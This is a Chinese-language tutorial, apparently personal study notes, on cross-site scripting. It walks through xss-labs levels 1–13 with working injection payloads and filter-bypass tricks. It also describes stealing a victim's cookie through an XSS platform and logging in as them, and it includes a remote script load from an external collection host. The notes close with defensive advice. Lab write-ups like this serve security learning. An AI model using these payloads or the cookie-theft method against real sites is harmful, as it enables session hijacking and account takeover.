文章目录
一、XSS漏洞认识、利用、防护
XSS:Cross Site Scripting跨站脚本攻击,攻击者将自己的恶意js代码让受害者浏览器执行
二、XSS窃取cookie
进入xss测试平台,新建项目,选择超强默认模块
将代码放入匿名帖子中,受害者点击,攻击者获取受害者Cookie,用ModHeader插件粘贴受害者的cookie,进行登入
就可以实现用受害者的身份发帖子
三、xss-lab第一关
在URL后面加上<script>alert();</script>
四、xss-lab第二关
两个输入点:URL和搜索栏
两个输出点:搜索栏和结果个数处
查看页面源代码:
在搜索栏输入test"onmouseover="alert();
,结果如下:
五、js引入的各类方式
<script>alert(1);</script> //直接嵌入
script <input name=keyword value="" onmouseover="alert(1)"> //通过事件属性值传入script字符串
<script src=https://xsspt.com/MQzN0Z></script> //从远程嵌入script
<a HREF=javascript:alert(1)>aaa</a> //超链接
或者:<a HREF=javascript:alert(1)>aaa</a> //html实体转义
<svg onload=alert(1)>
<svg><script>alert(1)</script>
六、xss-lab第三关
查看页面源代码:
在搜索栏输入test'onmouseover='alert();
,结果如下:
七、xss-lab第四关
查看页面源代码,发现搜索框处的value=“”
所以在搜索框输入test"onmouseover="alert();
八、xss-lab第五关
采用和第四关一样的test"onmouseover="alert();
发现不行,查看页面源代码,发现其变为了
<input name=keyword value="test"o_nclick="alert();">
所以换一个方法用超链接href
先用>隔开前面的内容,最后结果如下:
test"><a href=javascript:alert(1)>aaa</a>
九、xss-lab第六关
采用第五关的test"><a href=javascript:alert(1)>aaa</a>
查看后台源代码,发现href变成了hr_ef
<input name=keyword value="test"><a hr_ef=javascript:alert(1)>aaa</a>">
尝试把href变成大写HREF,成功
test"><a HREF=javascript:alert(1)>aaa</a>
十、xss-lab第七关
尝试test"><a href=javascript:alert(1)>aaa</a>
查看页面源代码:<input name=keyword value="test"><a =java:alert(1)>aaa</a>">
发现它把href和script删了
于是尝试大小写绕过
test"><a HREF=jAvaScript:alert(1)>aaa</a>
还是不行
那么尝试双写关键字:
test">aaa
成功
十一、xss-lab第八关
它让我们添加友情链接,那么应该是通过添加友情链接,再点击下面超链接来触发弹窗
尝试javascript:alert(1)
查看页面源代码,发现c变成了_:
</center><center><BR><a href="javascr_ipt:alert(1)">友情链接</a></center><center><img src=level8.jpg></center>
那我们对c进行实体转义:
javascript:alert(1)
成功
十二、xss-lab第九关
直接输入javascript:alert(1)
,发现不行,但是正常网址却可以,说明可能有http字头的检测
尝试javascript:alert("http://")
查看页面源代码,发现javascript被插入了_,那么进行转义:
javascript:alert("http://")
成功
十三、xss-lab第十关
没有搜索框了,查看源代码,发现有三个<input>
标签,也就意味着是三个参数
构造语句,看看哪个标签的type能够被改变
?t_link=1" type="text"&t_history=1" type="text"&t_sort=1" type="text"
发现t_sort字段有回显,加以利用,构造代码:
?t_sort=1" οnmοuseοver="alert(1);" type="text"
十四、xss-lab第十一关
有四个标签
构造语句,看看哪个标签的type能够被改变
?t_link=1" type="text"&t_history=1" type="text"&t_sort=1" type="text"&t_ref=1" type="text"
发现t_sort有回显
网页回显内容来自referer和User-Agent提交的参数,通过ModHeader插件构造Referer参数
referer:1" οnmοuseοver='alert(1)' type="text"
十五、xss-lab第十二关
同11关一样,查看页面源代码,发现t_ua可以回显,修改UserAgent参数
User-Agent:1" οnmοuseοver='alert(1)' type="text"
十六、xss-lab第十三关
同12关一样,查看页面源代码,发现t_cook可以回显,修改Cookie参数
Cookie:user=1" οnmοuseοver='alert(1)' type="text"
小结
漏洞危害
条件满足的情况下:
1.窃取凭证
2.篡改页面
3.构造XSS蠕虫
绕过方法
大小写绕过
双写绕过
字符春html实体化编码绕过
防护思路
1.如果针对简单的输入框,则需要识别和转义特殊字符,包括尖括号、引号、javascript中任意字符等
2.针对功能复杂的的富文本输入框,建议使用成熟的前端富文本输入框中,如ueditor等
3.在http的响应头中,为set-cookie选项额外添加http-only的值。